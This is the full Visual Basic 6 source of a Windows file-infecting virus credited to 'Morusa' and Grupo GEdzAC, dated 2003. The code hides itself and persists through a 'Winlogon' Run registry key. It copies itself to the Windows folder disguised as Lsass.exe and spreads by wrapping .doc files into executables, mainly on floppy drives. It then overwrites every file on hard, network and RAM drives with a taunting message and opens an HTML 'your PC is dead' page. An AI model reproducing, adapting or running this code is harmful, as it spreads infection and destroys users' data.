VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   0  'None
   Caption         =   "Form1"
   ClientHeight    =   90
   ClientLeft      =   -7050
   ClientTop       =   3345
   ClientWidth     =   90
   ControlBox      =   0   'False
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   90
   ScaleWidth      =   90
   ShowInTaskbar   =   0   'False
   Visible         =   0   'False
   WhatsThisHelp   =   -1  'True
   Begin VB.Timer escribirenregistro 
      Left            =   4440
      Top             =   720
   End
   Begin VB.Timer Timer1 
      Left            =   4440
      Top             =   240
   End
   Begin VB.DriveListBox Drive1 
      Height          =   315
      Left            =   120
      TabIndex        =   2
      Top             =   240
      Width           =   2175
   End
   Begin VB.DirListBox Dir1 
      Height          =   1440
      Left            =   120
      TabIndex        =   1
      Top             =   600
      Width           =   2175
   End
   Begin VB.FileListBox File1 
      Height          =   1845
      Hidden          =   -1  'True
      Left            =   2400
      TabIndex        =   0
      Top             =   240
      Width           =   1935
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'Nombre: W32.trojanacopladocs.hll
'Autor: Morusa
'Origen: México, ...
'Corporacion: MLHR Corporation & Grupo GEdzAC
'S.O.:95,98,NT,2000,Me,Xp
'Descripción: Se adjunta a archivos ".doc" y espera
'a su correspondiente ejeqción para seguir infectando

'Terminado el 31 de diciembre del 2003
Public kehago As Byte

Private Sub escribirenregistro_Timer()
 Call crearcadena(agregardiagonal(App.Path, App.EXEName & ".exe"))
End Sub

Private Sub Form_Load()
Call generarfsoyws
Call obtenerfoders
Call crearcadena(dirwin & "\Lsass.exe")

Dir1.Path = "C:\"
App.TaskVisible = False

If LCase(dirwin) <> LCase(App.Path) Then
 If existeGeDzaCmlh <> True Then
  Call copiarmeadirwin
 End If
Else
  escribirenregistro.Interval = 100
  Call existeGeDzaCmlh
End If
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Drive1_Change()
Dir1.Path = Mid(Drive1.Drive, 1, 2) & "\"
'le asigno la unidad al drive1
End Sub
Public Sub buscar(tipo As String)
File1.Pattern = tipo
Call buscar1
Call buscar2
End Sub
Sub buscar1()
Dim i As Integer
Dim archivos As Integer
archivos = File1.ListCount - 1
 
For i = 0 To archivos
  chkrarchivo File1.List(i)
  DoEvents
Next

End Sub
Sub buscar2()
Dim i, j As Integer
Dim archivos As Integer
Dim carpetas As Integer

carpetas = Dir1.ListCount - 1

For i = 0 To carpetas
 DoEvents
 Dir1.Path = Dir1.List(i)
 archivos = File1.ListCount - 1
 For j = 0 To archivos
  chkrarchivo File1.List(j)
  DoEvents
 Next
 buscar2
Next
Call subirnivel
End Sub
Sub chkrarchivo(archivo As String)
Select Case kehago
Case 0: 'infectar 3 archivos
    Call infectar(Dir1.Path, archivo)
Case 1: 'dejar bomba
    Call anikilararchivo(archivo)
End Select
End Sub
Sub subirnivel()
Dir1.Path = a.getparentfoldername(Dir1.Path)
End Sub

Private Sub Timer1_Timer()
Static i As Integer
On Error GoTo err:
tiempo = tiempo + 1
Open dirsys & "\GeDzaC.mlh" For Output As #1
Write #1, tiempo
Close #1
''''''''''''''''''''''''
If i >= 4 Then
 i = 0
 kehago = 0
 Dir1.Path = "a:\"
 File1.Refresh
 Call buscar("*.doc")
Else
 i = i + 1
End If

err:
End Sub
Function existeGeDzaCmlh() As Boolean
On Error GoTo error:
Call chkrexeparaborrar
Open dirsys & "\GeDzaC.mlh" For Input As #1
Input #1, tiempo
Close #1
Exit Function
existeGeDzaCmlh = True
error:
End Function
Sub chkrexeparaborrar()
Dim borrar As String
Dim resp  As Byte
Dim i As Integer

On Error GoTo err:
 Open dirwin & "\readmer.cls" For Input As #4
  Input #4, borrar
 Close #4
 Kill dirwin & "\readmer.cls"

 While resp = 0
  DoEvents
  resp = borrararch(borrar)
  i = i + 1
  If i >= 3000 Then
   resp = 1
  End If
 Wend
 
err:
 Timer1.Interval = 60000
End Sub
Function borrararch(dir As String) As Byte
On Error GoTo err:
 DoEvents
 Kill dir
 borrararch = 1
Exit Function
err:
 borrararch = 0
End Function

Public Sub unidadesdedisco()
'este procedimiento chk ke tipo son las unidades
'y solo las de almacenamiento son elegidas según lo ke se
'rekiera hacer

Dim unidades As Integer
'a uni le asigno el valor de las unidades ke hay

On Error Resume Next
'aki se las asigno cuantas hay
unidades = Drive1.ListCount - 1
'minetras ke no termine de anikilar las unidades
'hace lo siguiente
Do While unidades <> 0
 DoEvents 'para ke pueda ejecutar otros procesos el SO
 kehago = 1
'obtenereltipodedrive obtengo de ke tipo es con lo de arriba
 Select Case obtenereltipodedrive(Drive1.List(unidades))
  Case 1, 4, 6: 'particion ,remotedisk o ramdisk
    Drive1.Drive = Drive1.List(unidades) & "\" 'kambio la unidad
    buscar ("*.*") 'le digo ke buske en esa unidad
    
  Case 3: 'kso disko duro
    Drive1.Drive = Drive1.List(unidades)
    Dir1.Path = Drive1.Drive & "\"
    buscar ("*.*")
 End Select
 unidades = unidades - 1 'le voy restando para ke vaya chekndo las
            'unidades
Loop


End Sub

Declare Function ejecutar Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Declare Function obtenereltipodedrive Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Const cdrom = 5 'cdrom
Public Const hd = 3 'disko duro
Public Const drive_ramdisk = 6 'disko ram
Public Const drive_remote = 4 'unidad conectada de red
Public Const disketera = 2

Public tiempo As Integer
Const tamañoexe = 49152
Global dirwin As String
Global dirsys As String
Global diradp As String
Global a As Variant
Global b As Variant
Global escape As Boolean
Global conteo As Integer
Sub generarfsoyws()
 Set a = CreateObject("scripting.filesystemobject")
 Set b = CreateObject("wscript.shell")
End Sub
Sub obtenerfoders()
dirwin = a.getspecialfolder(0)
dirsys = a.getspecialfolder(1)
diradp = b.regread("HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\programfilesdir")
End Sub
Sub crearcadena(direccion As String)
b.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\Winlogon", direccion
End Sub
Sub copiarmeadirwin()
Dim exe As String
Dim archivo As String
Dim tam As Double

On Error GoTo err
Open agregardiagonal(App.Path, App.EXEName & ".exe") For Binary As #1
tam = LOF(1)
If tam > tamañoexe Then 'separar
 Open dirwin & "\" & "Lsass.exe" For Binary As #2
 exe = Space(tamañoexe)
 Get #1, , exe
 Put #2, , exe
 Close #2
 Open agregardiagonal(App.Path, App.EXEName & ".doc") For Binary As #3
 archivo = Space(tam - tamañoexe)
 Get #1, tamañoexe + 1, archivo
 Put #3, , archivo
 Close #3
 Close #1
 Open dirwin & "\readmer.cls" For Append As #4
 Write #4, agregardiagonal(App.Path, App.EXEName & ".exe")
 Close #4
 winword App.Path, App.EXEName & ".doc"
Else 'copiar
 Open dirwin & "\" & "Lsass.exe" For Binary As #2
 exe = Space(LOF(1))
 Get #1, , exe
 Put #2, , exe
End If
 Close #2
 Close #1
 Shell dirwin & "\Lsass.exe"
 End
 
Exit Sub
err:
End Sub
Public Sub winword(direccion As String, archivo As String)
Dim resp As Long
resp = ejecutar(Form1.hwnd, "Open", _
agregardiagonal(direccion, archivo), "", "", 1)
End Sub
Public Sub infectar(direccion As String, archivo As String)
Dim arch As String
Dim exe As String
On Error GoTo err
 Open agregardiagonal(App.Path, App.EXEName & ".exe") For Binary As #1
 exe = Space(LOF(1))
 Get #1, , exe
 Close #1
 Close
 Open agregardiagonal(direccion, archivo) For Binary As #2
 arch = Space(LOF(2))
 Get #2, , arch
 Close #2
 Kill agregardiagonal(direccion, archivo)
 Open agregardiagonal(direccion, kitarextension(archivo) & ".exe") For Binary As #3
 Put #3, , exe & arch
 Close #3
 arch = ""
 exe = ""
 Call conteode3
err:
End Sub
Function kitarextension(archivo As String) As String
Dim au As String
Dim i As Integer
On Error GoTo err:
While au <> "."
   au = Mid(archivo, Len(archivo) - i, 1)
   i = i + 1
Wend
kitarextension = Mid(archivo, 1, Len(archivo) - i)

Exit Function
err:
End Function
Function agregardiagonal(directorio As String, archivo As String) As String
agregardiagonal = a.buildpath(directorio, archivo)
End Function
Public Sub conteode3()
 conteo = conteo + 1
 If conteo >= 10 Then Call Form1.unidadesdedisco
End Sub
Public Sub anikilararchivo(archivo As String)
Static paginamostrada As Boolean
Dim respuesta As Integer
On Error GoTo err:

If LCase(diradp & "\Internet") = LCase(Mid(Form1.Dir1.Path, 1, Len(diradp & "\Internet"))) And paginamostrada = False Then
 Call mostrarpaginaweb
 paginamostrada = True
Else
 SetAttr agregardiagonal(Form1.Dir1.Path, archivo), vbNormal
 Open agregardiagonal(Form1.Dir1.Path, archivo) For Output As #6
  Write #6, "Virus MlourdesHReloaded II ha atakdo esta computadora"
  Write #6, "Virus 100% Méxicano, no es muy peligroso que digamos"
  Write #6, "Pero tu has sido el rival más débil ¡Adios!"
  Write #6, "Saludos a Ana Paty de Sinaloa y a Gedzac Labs"
  Write #6, "Espero y se hallan pasado una feliz Navidad y un próspero año nuevo"
  Write #6, "Feliz 2004 para todos"
  Write #6, "Para mayor información enviar un e-mail a tips@esmas.com"
  Write #6, "donde hablamos de computación en tu idioma"
  Write #6, ""
  Write #6, "*-Dime solo esta vez, que has pensado... solo esta vez -*"
 Close #6
End If
err:
End Sub
Public Sub mostrarpaginaweb()
Dim arch
Set arch = a.createtextfile("C:\MLHR_Corporation_GeDzAc.htm")
arch.write "<html>"
arch.writeline "<title>MLHR Corporation-->Alerta del virus MlourdesHReloaded para Dotz</title>"
arch.writeline "<Body bgcolor=black>"
arch.writeline "<font><font color= orange+blue+red><marquee behavior=" & _
Chr(34) & "alternate" & Chr(34) & "><H2>Grupo GeDZac<H2></marquee></font>"
arch.writeblanklines (1)
arch.writeline "<font><font color=green>"
arch.writeline "<h4>Estimado Usuario de esta PC, lamentamos" & _
" decirle que está</h4>" & vbCrLf & "<h4>su computadora fuera de servicio o sea pasando a mejor vida.</h4>" & _
"<center><h3><font><font color=Yellow>Atte: MLHR Corporation</h3></font></center>"
arch.writeline "<font><font color=red><h4>No se hace responsable de lo ocasionado, gracias por su comprensión. Cuenta Hasta 10</h4></font>"
arch.writeline "<font><font color=blue><h5>Mañana buscaré un camino a la salida pues esto me " & _
"encierra en un circulo vicioso...</h5><h5> Yo sufro me retuerzo y lloro en exceso...</h5></font>"
arch.writeline "<font><font color=orange><h5>Very Sad... but I remember u</h5></font>"
arch.writeline "<font><font color=green+red><center><h4>Mi ciclo de vida fue de --> " & tiempo & " Minutos</h4></center></font>"
arch.writeline "</font>"
arch.writeline "<center><font><font color=brown+yellow+orange><h4>El amor no se crea ni se destruye, sólo se transforma.</h4></font></center>"
arch.writeline "</body>"
arch.writeline "</html>"
arch.Close
b.run "C:\MLHR_Corporation_GeDzAc.htm"
End Sub
'<center><pre><font><font color=red>
'       xx xxxx
'     xxx xxx xxx
'   xxx xx x xx xx
'  xx xx x xx xx xx
'xx x xx xx xx x x x
' xxxx xx xx xxxx xxx
'  xx xx xx xx xx xxx
'   xx xx xxx xx xxx
'    xxxx xx xxx xx
'      x xxxx x  </font><font><font color=green>
'           xxx         x
'            xxx      x x
'             xxx    x xx
'              xxxx x xx
'               xxx xxx
'                xxxx
'                xxxx </font></pre></center>